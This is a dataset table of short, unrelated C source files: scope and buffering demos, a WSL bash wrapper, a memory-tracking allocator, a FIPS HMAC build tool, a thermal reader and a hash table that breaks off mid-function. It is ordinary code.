file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
|---|---|
the_stack_data/168892113.c
|
int x = 1;
int y = 2;
// The formal parameter hides the global x
int block_scope09(int x)
{
int k;
{
// This decaration hides the formal parameter
int x;
x = 2;
}
k = 1;
y++;
}
|
the_stack_data/93888622.c
|
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <linux/limits.h>
#include <stdlib.h>
extern char **environ;
int main(int argc, char** argv) {
FILE* systemd_pid_file;
FILE* init_process;
char* in_wsl = getenv("WSL_DISTRO_NAME");
// to disable run: WSLENV=%WSLENV%:SUBSYSTEMCTL_DISABLE_WRAPPER SUBSYSTEMCTL_DISABLE_WRAPPER=1 wsl.exe
char* disable_wrapper = getenv("SUBSYSTEMCTL_DISABLE_WRAPPER");
// redirect to subsystemctl when in wsl
if (in_wsl && !(disable_wrapper && strlen(disable_wrapper)>0)) {
// check if systemd is running
if (systemd_pid_file = fopen("/run/subsystemctl/systemd.pid", "r")) {
fclose(systemd_pid_file);
init_process = fopen("/proc/1/cmdline", "r");
// check if already in systemd context
if (init_process) {
char init_process_name[PATH_MAX];
long length = fread (init_process_name, 1, PATH_MAX-1, init_process);
init_process_name[length] = 0;
fclose(init_process);
// skip if already in systemd context
if (strcmp(init_process_name, "/lib/systemd/systemd") != 0) {
char cwd[PATH_MAX];
getcwd(cwd, PATH_MAX);
setenv("SUBSYSTEMCTL_CWD", cwd, 1);
char** systemctl_argv = malloc(sizeof(char*) * (argc + 5));
char** argv_inserter = systemctl_argv;
(*argv_inserter++) = "subsystemctl";
(*argv_inserter++) = "exec";
(*argv_inserter++) = "--";
(*argv_inserter++) = "/bin/subsystemctl-bash-env";
char** argv_iter = argv+1;
while (*argv_iter != 0) {
(*argv_inserter++) = *argv_iter++;
}
*argv_inserter++ = 0;
return execv("/usr/sbin/subsystemctl", systemctl_argv);
}
}
}
}
return execv("/bin/bash", argv);
}
|
the_stack_data/913970.c
|
#include <ncurses.h>
int main(void)
{
MEVENT mort;
int ch;
initscr();
noecho();
keypad(stdscr,TRUE);
mousemask(BUTTON1_CLICKED,NULL);
while(1)
{
ch = getch();
if( ch == KEY_MOUSE )
{
getmouse(&mort);
move(0,0);
clrtoeol();
printw("Mouse clicked at %d, %d",mort.y,mort.x);
refresh();
continue;
}
if( ch == '\n' )
break;
}
endwin();
return 0;
}
|
the_stack_data/141755.c
|
/*
* Multi2Sim's Memory Management Library
* Copyright (C) 2012 Rafael Ubal ([email protected])
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
/* Initial size for hash table */
#define MHANDLE_HASH_TABLE_SIZE 1000
/* Corruption detection extra bytes */
#define MHANDLE_MARK_END 0xa5
#define MHANDLE_MARK_START 0x5a
#define MHANDLE_CORRUPT_RANGE 2
#define MHANDLE_CORRUPT_TOTAL (2 * MHANDLE_CORRUPT_RANGE)
struct mhandle_item_t
{
/* item fields */
void *ptr;
unsigned long size;
char *at;
/* hash table fields */
unsigned int removed : 1;
unsigned int active : 1;
unsigned int corrupt_info : 1;
};
static int mhandle_initialized = 0;
static unsigned long mhandle_mem_used = 0;
/* Hash table of current allocated pointers */
static struct mhandle_item_t *mhandle_hash_table; /* Linear hash table */
static int mhandle_hash_table_size; /* Allocated size for hash table */
static int mhandle_hash_table_count; /* Number of elements */
/* Forward declarations */
static void mhandle_hash_table_insert(void *ptr, unsigned long size, char *at, int corrupt_info);
/*
* Private Functions
*/
static void mhandle_out_of_memory(char *at)
{
fprintf(stderr, "\nfatal: %s: out of memory\n", at);
abort();
}
static void mhandle_init(void)
{
/* Already initialized */
if (mhandle_initialized)
return;
mhandle_initialized = 1;
/* Initialize hash table */
mhandle_hash_table = calloc(MHANDLE_HASH_TABLE_SIZE, sizeof(struct mhandle_item_t));
mhandle_hash_table_size = MHANDLE_HASH_TABLE_SIZE;
mhandle_hash_table_count = 0;
if (!mhandle_hash_table)
mhandle_out_of_memory("mhandle_init");
}
static void mhandle_hash_table_grow(void)
{
int old_size, i;
struct mhandle_item_t *old_ht;
/* create new hash table */
old_size = mhandle_hash_table_size;
old_ht = mhandle_hash_table;
mhandle_hash_table_size = mhandle_hash_table_size * 2;
mhandle_hash_table = (struct mhandle_item_t *) calloc(mhandle_hash_table_size, sizeof(struct mhandle_item_t));
if (!mhandle_hash_table)
mhandle_out_of_memory("lib mhandle (resizing hash table)");
/* put elements into new hash table */
for (i = 0; i < old_size; i++)
{
if (old_ht[i].active && !old_ht[i].removed)
{
mhandle_hash_table_count--;
mhandle_mem_used -= old_ht[i].size;
mhandle_hash_table_insert(old_ht[i].ptr, old_ht[i].size,
old_ht[i].at, old_ht[i].corrupt_info);
}
}
free(old_ht);
}
static void mhandle_hash_table_insert(void *ptr, unsigned long size, char *at, int corrupt_info)
{
struct mhandle_item_t *item;
int index;
/* Hash table too small */
if (mhandle_hash_table_count >= mhandle_hash_table_size / 2)
mhandle_hash_table_grow();
/* Find position */
index = (unsigned long) ptr % mhandle_hash_table_size;
while (mhandle_hash_table[index].active && !mhandle_hash_table[index].removed)
index = (index + 1) % mhandle_hash_table_size;
/* Insert item */
item = &mhandle_hash_table[index];
item->ptr = ptr;
item->size = size;
item->at = at;
item->active = 1;
item->removed = 0;
item->corrupt_info = corrupt_info;
mhandle_mem_used += size;
mhandle_hash_table_count++;
}
static struct mhandle_item_t *mhandle_hash_table_get(void *ptr)
{
int idx;
idx = (unsigned long) ptr % mhandle_hash_table_size;
while (mhandle_hash_table[idx].ptr != ptr || !mhandle_hash_table[idx].active
|| mhandle_hash_table[idx].removed)
{
if (!mhandle_hash_table[idx].active)
return NULL;
idx = (idx + 1) % mhandle_hash_table_size;
}
return &mhandle_hash_table[idx];
}
static unsigned long mhandle_hash_table_remove(void *ptr, char *at)
{
struct mhandle_item_t *item;
/* Find pointer */
item = mhandle_hash_table_get(ptr);
if (!item)
{
fprintf(stderr, "\n%s: free: invalid pointer %p\n",
at, ptr);
abort();
}
/* Remove item */
item->removed = 1;
mhandle_mem_used -= item->size;
mhandle_hash_table_count--;
return item->size;
}
static void mhandle_mark_corrupt(void *eff_ptr, unsigned long eff_size)
{
unsigned long i;
char *as_char = eff_ptr;
for (i = 0; i < MHANDLE_CORRUPT_RANGE; i++)
as_char[i] = MHANDLE_MARK_START;
for (i = 0; i < MHANDLE_CORRUPT_RANGE; i++)
as_char[eff_size - MHANDLE_CORRUPT_RANGE + i] = MHANDLE_MARK_END;
}
static void mhandle_check_corrupt(void *eff_ptr, unsigned long eff_size, char *at)
{
unsigned long i;
unsigned char *as_char = eff_ptr;
int corrupt = 0;
int prev;
int next;
void *ptr;
/* Corruption before & after block */
for (i = 0; i < MHANDLE_CORRUPT_RANGE; i++)
if (as_char[i] != MHANDLE_MARK_START)
corrupt = 1;
for (i = 0; i < MHANDLE_CORRUPT_RANGE; i++)
if (as_char[eff_size - MHANDLE_CORRUPT_RANGE + i] != MHANDLE_MARK_END)
corrupt = 2;
if (!corrupt)
return;
/* Find contiguous blocks */
prev = -1;
next = -1;
ptr = eff_ptr + MHANDLE_CORRUPT_RANGE;
for (i = 0; i < mhandle_hash_table_size; i++)
{
if (mhandle_hash_table[i].active && !mhandle_hash_table[i].removed)
{
if (mhandle_hash_table[i].ptr < ptr && (prev == -1 ||
mhandle_hash_table[i].ptr > mhandle_hash_table[prev].ptr))
prev = i;
if (mhandle_hash_table[i].ptr > ptr && (next == -1 ||
mhandle_hash_table[i].ptr < mhandle_hash_table[next].ptr))
next = i;
}
}
/* Notify */
fprintf(stderr, "\nfatal: %s: memory corrupted %s block (%p)\n",
at, corrupt == 1 ? "before" : "after", ptr);
if (prev >= 0)
fprintf(stderr, "\tprev block: %s (%p)\n", mhandle_hash_table[prev].at,
mhandle_hash_table[prev].ptr);
if (next >= 0)
fprintf(stderr, "\tnext block: %s (%p)\n", mhandle_hash_table[next].at,
mhandle_hash_table[next].ptr);
abort();
}
/*
* Public Functions
*/
void mhandle_free(void *ptr, char *at)
{
struct mhandle_item_t *item;
void *eff_ptr;
unsigned long eff_size;
/* initialization */
if (!ptr)
return;
mhandle_init();
/* Read item */
item = mhandle_hash_table_get(ptr);
if (!item)
{
fprintf(stderr, "\n%s: free: invalid pointer %p\n",
at, ptr);
abort();
}
/* Check corruption */
if (item->corrupt_info)
{
eff_ptr = ptr - MHANDLE_CORRUPT_RANGE;
eff_size = item->size + MHANDLE_CORRUPT_TOTAL;
mhandle_check_corrupt(eff_ptr, eff_size, item->at);
memset(eff_ptr, 0, eff_size);
free(eff_ptr);
}
else
{
memset(ptr, 0, item->size);
free(ptr);
}
/* Remove pointer from data base */
mhandle_hash_table_remove(ptr, at);
}
void *mhandle_malloc(unsigned long size, char *at)
{
void *ptr;
void *eff_ptr;
unsigned long eff_size;
mhandle_init();
/* Allocate */
eff_size = size + MHANDLE_CORRUPT_TOTAL;
eff_ptr = malloc(eff_size);
if (!eff_ptr)
mhandle_out_of_memory(at);
/* Mark corruption */
ptr = eff_ptr + MHANDLE_CORRUPT_RANGE;
mhandle_mark_corrupt(eff_ptr, eff_size);
/* Record pointer and return */
mhandle_hash_table_insert(ptr, size, at, 1);
return ptr;
}
void *mhandle_calloc(unsigned long nmemb, unsigned long size, char *at)
{
void *ptr;
void *eff_ptr;
unsigned long total;
unsigned long eff_total;
mhandle_init();
/* Effective size */
total = nmemb * size;
eff_total = total + MHANDLE_CORRUPT_TOTAL;
/* Allocate */
eff_ptr = calloc(1, eff_total);
if (!eff_ptr)
mhandle_out_of_memory(at);
/* Mark corruption */
ptr = eff_ptr + MHANDLE_CORRUPT_RANGE;
mhandle_mark_corrupt(eff_ptr, eff_total);
/* Record pointer and return */
mhandle_hash_table_insert(ptr, total, at, 1);
return ptr;
}
void *mhandle_realloc(void *ptr, unsigned long size, char *at)
{
void *eff_ptr;
unsigned long eff_size;
struct mhandle_item_t *item;
/* Equivalent to malloc for NULL pointer */
if (!ptr)
return mhandle_malloc(size, at);
/* Equivalent to free for size zero */
if (!size)
{
mhandle_free(ptr, at);
return NULL;
}
/* Reallocate */
mhandle_init();
/* Search pointer */
item = mhandle_hash_table_get(ptr);
if (!item)
{
fprintf(stderr, "\n%s: realloc: invalid pointer %p\n", at, ptr);
abort();
}
/* Reallocation not supported for pointers registered externally, i.e.,
* those that don't have corruption information. */
if (!item->corrupt_info)
{
fprintf(stderr, "\n%s: realloc: not supported for pointers not allocated\n"
"\twith malloc/calloc/realloc/strdup (%p)", at, ptr);
abort();
}
/* Effective sizes */
eff_ptr = ptr - MHANDLE_CORRUPT_RANGE;
eff_size = item->size + MHANDLE_CORRUPT_TOTAL;
/* Check corruption and remove old pointer */
mhandle_check_corrupt(eff_ptr, eff_size, at);
mhandle_hash_table_remove(ptr, at);
/* Reallocate */
eff_size = size + MHANDLE_CORRUPT_TOTAL;
eff_ptr = realloc(eff_ptr, eff_size);
if (!eff_ptr)
mhandle_out_of_memory(at);
/* Mark corruption */
ptr = eff_ptr + MHANDLE_CORRUPT_RANGE;
mhandle_mark_corrupt(eff_ptr, eff_size);
/* Record pointer and return */
mhandle_hash_table_insert(ptr, size, at, 1);
return ptr;
}
char *mhandle_strdup(const char *s, char *at)
{
char *ptr;
void *eff_ptr;
unsigned long size = strlen(s) + 1;
unsigned long eff_size;
mhandle_init();
/* Allocate */
size = strlen(s) + 1;
eff_size = size + MHANDLE_CORRUPT_TOTAL;
eff_ptr = malloc(eff_size);
if (!eff_ptr)
mhandle_out_of_memory(at);
/* Copy string and mark corruption */
ptr = eff_ptr + MHANDLE_CORRUPT_RANGE;
memcpy(ptr, s, size);
mhandle_mark_corrupt(eff_ptr, eff_size);
/* Record pointer and return */
mhandle_hash_table_insert(ptr, size, at, 1);
return ptr;
}
void *__xmalloc(size_t size, char *at)
{
void *ptr;
ptr = malloc(size);
if (!ptr)
mhandle_out_of_memory(at);
return ptr;
}
void *__xcalloc(size_t nmemb, size_t size, char *at)
{
void *ptr;
ptr = calloc(nmemb, size);
if (!ptr)
mhandle_out_of_memory(at);
return ptr;
}
void *__xrealloc(void *ptr, size_t size, char *at)
{
void *new_ptr;
new_ptr = realloc(ptr, size);
if (!new_ptr)
mhandle_out_of_memory(at);
return new_ptr;
}
void *__xstrdup(const char *s, char *at)
{
void *ptr;
ptr = strdup(s);
if (!ptr)
mhandle_out_of_memory(at);
return ptr;
}
void __mhandle_done()
{
int i;
/* Visit whole hash table to look for not freed pointers */
for (i = 0; i < mhandle_hash_table_size; i++)
if (mhandle_hash_table[i].active && !mhandle_hash_table[i].removed)
fprintf(stderr, "\nwarning: %s: pointer not freed", mhandle_hash_table[i].at);
/* Summary message */
if (mhandle_hash_table_count)
fprintf(stderr, "\n** %d pointers not freed (%lu bytes) **\n",
mhandle_hash_table_count, mhandle_mem_used);
/* Free hash table */
assert(mhandle_hash_table_count || !mhandle_mem_used);
free(mhandle_hash_table);
mhandle_initialized = 0;
mhandle_mem_used = 0;
mhandle_hash_table_count = 0;
mhandle_hash_table_size = 0;
}
void __mhandle_check(char *at)
{
int i, count = 0;
/* Check for corruption in all allocated blocks */
for (i = 0; i < mhandle_hash_table_size; i++)
{
if (mhandle_hash_table[i].active && !mhandle_hash_table[i].removed
&& mhandle_hash_table[i].corrupt_info)
{
mhandle_check_corrupt(mhandle_hash_table[i].ptr - MHANDLE_CORRUPT_RANGE,
mhandle_hash_table[i].size, mhandle_hash_table[i].at);
count++;
}
}
fprintf(stderr, "libmhandle: %d pointers checked for corruption\n", count);
}
unsigned long __mhandle_used_memory()
{
return mhandle_mem_used;
}
void __mhandle_register_ptr(void *ptr, unsigned long size, char *at)
{
mhandle_hash_table_insert(ptr, size, at, 0);
}
|
the_stack_data/15761586.c
|
/**
* @file read_data.c
* @author Chen Liang
* @brief Read data from file and store it in array
* @version 0.1
* @date 2021-06-15
*
* @copyright Copyright (c) 2021
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
typedef struct
{
double **X;
double *y;
int num_train;
int num_feat;
} data_t;
data_t* get_data(char *file_name)
{
data_t* data_set = NULL;
FILE *fp = NULL;
char str[200];
double **X = NULL; // features
double *y = NULL; // results
int m = 0; // number of training set
int n = 0; // number of features
int i = 0;
int j = 0;
/* opening file for reading */
fp = fopen(file_name, "r");
if (fp == NULL)
{
perror("Error opening file");
exit(EXIT_FAILURE);
}
while(!feof(fp))
{
// Find number of training set
fgets(str, 200, fp);
m++;
}
char *token = strtok(str, ",");
while (token != NULL)
{
// Find number of features
token = strtok(NULL, ",");
n++;
}
printf("Number of training sets: %d\n", m);
printf("Number of features: %d\n", n);
rewind(fp);
#ifdef DEBUG
printf("Allocated memory for token\n");
#endif
X = calloc(m, sizeof(double));
for (i = 0; i < m; i++)
{
X[i] = calloc(n, sizeof(double));
}
for (i = 0; i < m; i++)
{
X[i][0] = 1.0L; // Initialised the first features into 1
}
y = calloc(m, sizeof(double));
i = 0;
while(!feof(fp))
{
fgets(str, 200, fp); // Read line
for (j = 1; j < n; j++)
{
// Read all but the last colum into X
// Convert the string to double
X[i][j] = strtod(strtok(str, ","), NULL);
}
// Read the last colum into y
// Convert the string to double
y[i] = strtod(strtok(NULL, ","), NULL);
i++; // Move to the next line
}
#ifdef DEBUG
for (i = 0; i < m; i++)
{
printf("\t%lf\t |\t%lf\n", X[i], y[i]);
}
#endif
fclose(fp);
fp = NULL;
data_set = calloc(1, sizeof(data_t));
data_set->X = X;
data_set->y = y;
data_set->num_train = m;
data_set->num_feat = n;
#ifdef DEBUG
printf("Closed file\n");
#endif
return data_set;
}
|
the_stack_data/479902.c
|
// DONE BY VERA
#include <stdio.h> // Librerías
// Función para detectar si el string como parámetro sólo contiene caracteres alfabéticos o no
int ft_str_is_alpha(char *str)
{
int i;
int x;
i = 0;
x = 1;
while (str[i] != '\0')
{
if ((str[i] >= 'A' && str[i] <= 'Z') ||
(str[i] >= 'a' && str[i] <= 'z'))
{
x = x * 1;
}
else
{
x = 0;
}
i++;
}
return (x);
}
// Función main
int main(void)
{
char *str = "Buenas";
int a = ft_str_is_alpha(str);
printf("%i", a);
}
|
the_stack_data/57020.c
|
/* $Antares: thermal.c,v 1.0 2017/02/26 11:13 sam Exp $ */
/*
* Copyright (c) 2017 Rodrigo González López
* All rights reserved.
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
* SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR
* IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#ifndef nil
#define nil ((void*)0)
#endif
#define TEMPFILE "/sys/class/thermal/thermal_zone0/temp"
int
main(void)
{
int t;
FILE *fp;
fp = fopen(TEMPFILE, "r");
if (fp == nil) {
fprintf(stderr, "Failed to open %s\n", TEMPFILE);
return EXIT_FAILURE;
}
if (fscanf(fp, "%d", &t) == EOF) {
fprintf(stderr, "Failed to get temperature from %s\n", TEMPFILE);
}
fclose(fp);
printf("%dºC\n", t / 1000);
return EXIT_SUCCESS;
}
|
the_stack_data/943538.c
|
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int argc, char **argv)
{
int s;
if ((s = socket(PF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
exit(1);
}
if (fcntl(s, F_SETOWN, getpid()) < 0)
{
perror("fcntl(F_SETOWN)");
exit(1);
}
if (close(s) < 0)
{
perror("close");
exit(1);
}
exit(0);
}
|
the_stack_data/70766.c
|
/*
* Utility functions called from fips_fmp_hmac.sh.
*
* executed during Kernel build
*
* Copyright (c) 2014 Samsung Electronics
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int update_fmp_hmac(const char *vmlinux_path, const char *hmac_path, unsigned long offset);
int collect_fmp_bytes(const char *in_file, const char *section_name, unsigned long offset,
unsigned long size, const char *out_file);
int main(int argc, char **argv)
{
if (argc < 2) {
printf("\nUsage : \n");
printf("fips_fmp_utils -u vmlinux_file hmac_file offset");
printf("fips_fmp_utils -g vmlinux_file section_name offset size out_file");
printf("\n");
return -1;
}
if (!strcmp("-u", argv[1])) {
unsigned long offset = 0;
unsigned char *vmlinux_file = NULL;
unsigned char *hmac_file = NULL;
if (argc != 5) {
printf("\nUsage : \n");
printf("fips_fmp_utils -u vmlinux_file hmac_file offset");
printf("\n");
return -1;
}
vmlinux_file = argv[2];
hmac_file = argv[3];
offset = atol(argv[4]);
if (!vmlinux_file || !hmac_file || !offset) {
printf ("./fips_fmp_utils -u vmlinux_file hmac_file offset");
return -1;
}
return update_fmp_hmac(vmlinux_file, hmac_file, offset);
} else if (!strcmp("-g", argv[1])) {
const char *in_file = NULL;
const char *section_name = NULL;
unsigned long offset = 0;
unsigned long size = 0;
const char *out_file = NULL;
if (argc != 7) {
printf("\nUsage : \n");
printf("./fips_fmp_utils -g vmlinux_file section_name offset size out_file");
printf("\n");
return -1;
}
in_file = argv[2];
section_name = argv[3];
offset = atol(argv[4]);
size = atol(argv[5]);
out_file = argv[6];
if (!in_file || !section_name || !offset || !size || !out_file) {
printf("./fips_fmp_utils -g vmlinux_file section_name offset size out_file");
return -1;
}
return collect_fmp_bytes(in_file, section_name, offset, size, out_file);
} else {
printf("\nUsage : \n");
printf("fips_fmp_utils -u vmlinux_file hmac_file offset");
printf("fips_fmp_utils -g vmlinux_file section_name offset size out_file");
printf("\n");
}
return -1;
}
/*
* Given a vmlinux file, dumps "size" bytes from given "offset" to output file
* in_file : absolute path to vmlinux file
* section_name : Used only for printing / debugging
* offset : offset in file from where to dump bytes
* size : how many bytes to dump
* out_file : Output file, where to dump bytes.
* Open in append mode, to keep previous bytes, if present
* Caller need to clean up before 1st call
*
* Returns 0, if success
* -1, if error
*/
int collect_fmp_bytes(const char *in_file, const char *section_name, unsigned long offset,
unsigned long size, const char *out_file)
{
FILE *in_fp = NULL;
FILE *out_fp = NULL;
unsigned int i = 0;
unsigned char data = 0;
if (!in_file || !section_name || !offset || !size || !out_file) {
printf ("collect_fmp_bytes : Invalid arguments");
return -1;
}
printf("Section : %s\n", section_name);
in_fp = fopen(in_file, "r");
if (!in_fp) {
printf("Unable to open file : %s", in_file);
return -1;
}
if (fseek(in_fp, offset, SEEK_SET) != 0) {
printf ("Unable to seek file : %s", in_file);
fclose (in_fp);
return -1;
}
out_fp = fopen(out_file, "ab");
if (!out_fp) {
printf ("Unable to open file : %s", out_file);
fclose(in_fp);
return -1;
}
for (i = 1; i <= size; i++) {
if ( 1 != fread (&data, sizeof(unsigned char), 1, in_fp)) {
printf("Unable to read 1 byte from file : %s", in_file);
fclose(in_fp);
fclose(out_fp);
return -1;
}
printf ("%02x ", data);
if (1 != fwrite (&data, 1, 1, out_fp)) {
printf("Unable to write 1 byte to file : %s", out_file);
fclose(in_fp);
fclose(out_fp);
return -1;
}
if (!(i % 16))
printf("\n");
}
fclose(in_fp);
fclose(out_fp);
return 0;
}
#define SHA256_DIGEST_SIZE 32
/*
* Given a vmlinux file, overwrites bytes at given offset with hmac bytes, available in
* hmac file.
* Return 0, if Success
* -1, if Error
*/
int update_fmp_hmac(const char *vmlinux_path, const char *hmac_path, unsigned long offset)
{
FILE *vmlinux_fp = NULL;
FILE *hmac_fp = NULL;
int i = 0, j = 0;
unsigned char hmac[SHA256_DIGEST_SIZE];
if (!vmlinux_path || !hmac_path || !offset) {
printf("FIPS update_fmp_hmac : Invalid Params");
return -1;
}
vmlinux_fp = fopen(vmlinux_path, "r+b");
if (!vmlinux_fp) {
printf("Unable to open vmlinux file ");
return -1;
}
hmac_fp = fopen(hmac_path, "rb");
if (!hmac_fp) {
printf("Unable to open hmac file ");
fclose(vmlinux_fp);
return -1;
}
if (SHA256_DIGEST_SIZE != fread(&hmac, sizeof(unsigned char), SHA256_DIGEST_SIZE, hmac_fp)) {
printf("Unable to read %d bytes from hmac file", SHA256_DIGEST_SIZE);
fclose(hmac_fp);
fclose(vmlinux_fp);
return -1;
}
if (fseek(vmlinux_fp, offset, SEEK_SET) != 0) {
printf("Unable to seek into vmlinux file.");
fclose(hmac_fp);
fclose(vmlinux_fp);
return -1;
}
if (SHA256_DIGEST_SIZE != fwrite (hmac, sizeof(unsigned char), SHA256_DIGEST_SIZE, vmlinux_fp)) {
printf("Unable to write %d byte into vmlinux", SHA256_DIGEST_SIZE);
fclose(hmac_fp);
fclose(vmlinux_fp);
return -1;
}
fclose(vmlinux_fp);
fclose(hmac_fp);
return 0;
}
|
the_stack_data/610.c
|
#include<stdio.h>
int main()
{
int arr[20];
int num;
int i;
printf("Enter number of elements in array: ");
scanf("%d", &num);
printf("Enter your array: ");
for (i = 0; i < num; i++)
{
scanf("%d", &arr[i]);
}
// max is for maximum number and
// smax for next(second) maximum number
int max, smax;
// Assigning max and smax with arr[0] and arr[1] depending
// on the condition max > smax
if (arr[0] > arr[1])
{
max = arr[0];
smax = arr[1];
}
else
{
max = arr[1];
smax = arr[0];
}
// Comparing rest of the element in the array
for (i = 2; i < num; i++)
{
if (arr[i] > smax)
{
if (arr[i] > max)
{
smax = max;
max = arr[i];
}
else
{
smax = arr[i];
}
}
}
printf("Max: %d\n", max);
printf("Next max: %d", smax);
}
/*
Enter number of elements in array: 5
Enter your array: 1
2
3
4
5
Max: 5
Next max: 4*/
|
the_stack_data/110895.c
|
#include <assert.h>
#include <stdbool.h>
int main(void) {
assert(false);
return 0;
}
|
the_stack_data/1106106.c
|
// Scott Kuhl
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
printf("'Hello world' will be printed after one second:\n");
printf("Hello ");
sleep(1);
printf("World\n");
printf("'Hello' will be printed, program sleeps for 1 second, and then world will be printed.\n");
printf("Hello ");
fflush(stdout);
sleep(1);
printf("World\n");
// disable buffering:
setvbuf(stdout, (char *) NULL, _IONBF, 0);
printf("First example (stdout buffering turned off):\n");
printf("Hello ");
sleep(1);
printf("World");
return 0;
}
|
the_stack_data/90220.c
|
/**
* This HashTable implementation uses Robert J. Jenkins Jr.'s Hash function.
* More about the function can be found at:
*
* http://burtleburtle.net/bob/hash/evahash.html
*/
#include <stdlib.h>
#include <string.h>
typedef void * HashTable;
/* Structs */
struct Bucket {
struct Bucket *next;
char *key;
void *value;
int vSize;
};
typedef struct {
unsigned long bits;
unsigned long size;
unsigned long mask;
unsigned long count;
unsigned long prev;
unsigned int bucketIndex;
struct Bucket *currBucket;
} HT;
#define MIX(a, b, c) \
{ \
a-=b; \
a-=c; \
a^=(c>>13); \
b-=c; \
b-=a; \
b^=(a<<8); \
c-=a; \
c-=b; \
c^=(b>>13); \
a-=b; \
a-=c; \
a^=(c>>12); \
b-=c; \
b-=a; \
b^=(a<<16); \
c-=a; \
c-=b; \
c^=(b<<5); \
a-=b; \
a-=c; \
a^=(c>>3); \
b-=c; \
b-=a; \
b^=(a<<10); \
c-=a; \
c-=b; \
c^=(b>>15); \
}
/**
* Allocate and initialize a HashTable.
*
* @param bits No of bits in table.
* @return HashTable or NULL.
*/
HashTable
HashNew(int bits)
{
unsigned long tSize=((1L<<bits)*sizeof(struct Bucket *))+sizeof(HT);
HT *ht=NULL;
if ((ht=(HT *)calloc(1, tSize))!=NULL) {
ht->bits=bits;
ht->size=(1L<<bits);
ht->mask=ht->size-1;
ht->prev=0xbaadcafe;
}
return ht;
}
/**
* Destroys hash table and buckets (but not the data within the buckets).
*
* @param table HashTable.
* @param freeVal Free value (yes if HTFreeValue).
*/
void
HashFree(HashTable table, int freeVal)
{
HT *ht=(HT *)table;
if (ht) {
struct Bucket **d;
int idx;
d=((struct Bucket **)(((char *)ht)+sizeof(HT)));
for (idx=0; idx<ht->size; idx++) {
if (d[idx]) {
struct Bucket *c, *t;
for (c=d[idx]; c; ) {
t=c->next;
if (freeVal && c->value) {
free(c->value);
}
free(c);
c=t;
}
}
}
free(ht);
}
}
/**
* Calculate hash/index of the given source.
*
* @param ht HashTable.
* @param src Source string.
* @return Hash value.
*/
static unsigned long
Hash(HT *ht, const char *src)
{
unsigned long length=strlen(src), a=0x9e3779b9, b=0x9e3779b9, c=ht->prev, len;
len=length;
while (len>=12) {
a+=(src[0]+(((unsigned long)src[1])<<8)+(((unsigned long)src[2])<<16)+(((unsigned long)src[3])<<24));
b+=(src[4]+(((unsigned long)src[5])<<8)+(((unsigned long)src[6])<<16)+(((unsigned long)src[7])<<24));
c+=(src[8]+(((unsigned long)src[9])<<8)+(((unsigned long)src[10])<<16)+(((unsigned long)src[11])<<24));
MIX(a, b, c);
src+=12;
len-=12;
}
c+=length;
switch (len) {
case 11:
c+=((unsigned int)src[10]<<24);
case 10:
c+=((unsigned int)src[9]<<16);
case 9:
c+=((unsigned int)src[8]<<8);
case 8:
b+=((unsigned int)src[7]<<24);
case 7:
b+=((unsigned int)src[6]<<16);
case 6:
b+=((unsigned int)src[5]<<8);
case 5:
b+=((unsigned int)src[4]);
case 4:
a+=((unsigned int)src[3]<<24);
case 3:
a+=((unsigned int)src[2]<<16);
case 2:
a+=((unsigned int)src[1]<<8);
case 1:
a+=((unsigned int)src[0]);
}
MIX(a, b, c);
return c;
}
/**
* Add a key value pair to the HashTable.
*
* @param table HashTable.
* @param key Key.
* @param value Value.
* @param vSize Size of value.
* @param freeVal Free value (yes if HTFreeValue).
* @return 0 if successful, !0 if unsuccessful.
*/
int
HashAdd(HashTable table, const char *key, const void *value, int vSize, int freeVal)
{
HT *ht=(HT *)table;
int kLen=strlen(key)+1;
struct Bucket **d;
struct Bucket *b;
char *p;
unsigned long hVal;
if ((b=(struct Bucket *)calloc(1, kLen+sizeof(struct Bucket)))==NULL) {
return -1;
}
p=((char *)b)+sizeof(struct Bucket);
memmove(p, key, kLen);
b->key=p;
b->value=(void *)value;
b->vSize=vSize;
hVal=(ht->mask)&Hash(ht, key);
d=((struct Bucket **)(((char *)ht)+sizeof(HT)));
if (d[hVal]!=NULL) {
struct Bucket **prev=&d[hVal];
struct Bucket *l;
int c;
while ((l=*prev)!=NULL) {
if ((c=strcmp(key, l->key))<0) {
b->next=l;
*prev=b;
return 0;
}
if (!c) {
b->next=l->next;
*prev=b;
if (freeVal && l->value) {
free(l->value);
}
free(l);
prev=&b->next;
return 0;
}
prev=&l->next;
}
*prev=b;
b->next=l;
} else {
d[hVal]=b;
}
return 0;
}
/**
* Get the value to a key.
*
* @param table HashTable.
* @param key Key to retrieve.
* @param value Where to store value.
* @param vSize Where to store value size (or NULL).
* @return data if found or NULL.
*/
void *
HashGet(HashTable table, const char *key, int *vSize)
{
HT *ht=(HT *)table;
struct Bucket **d;
struct Bucket *b;
unsigned long hVal;
